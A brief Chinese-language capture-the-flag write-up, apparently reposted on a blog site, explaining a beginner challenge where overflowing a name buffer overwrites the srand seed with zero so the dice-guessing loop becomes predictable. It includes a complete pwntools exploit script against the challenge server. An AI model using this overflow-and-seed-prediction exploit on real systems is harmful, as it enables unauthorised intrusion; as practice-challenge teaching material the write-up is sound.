說明
這其實是一種型別題,新手剛開始會碰到,題目大致程序是 有個srand()的隨機函式.需要覆寫 seed種子
即srand(seed) 把 seed 覆寫為一個固定的數 , srand 就是偽隨機函式了, 題目會有個猜數循
環,比如猜對了20次flag就有了,和這道題類似的題目還有新手區的guess_num
解題
點進去read中的 buf;
EXp
from pwn import *
from ctypes import *
p=remote('111.200.241.244','38298')
libc = cdll.LoadLibrary("libc.so.6")
p.recvuntil("Welcome, let me know your name: ")
payload=0x40*"a"+p64(0)
p.sendline(payload)
libc.srand(0)
for i in range(50):
p.recvuntil("Give me the point(1~6): ")
p.sendline(str(libc.rand()%6+1))
p.interactive()
這里EXP中的陳述句就不多解釋🔚了, 有問題留言即可,看見就會回的; 🌰
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/267036.html
標籤：其他
上一篇：Java記憶體模型(JMM) 和 volatile 的講解
下一篇：網路好不好，ping一下就知道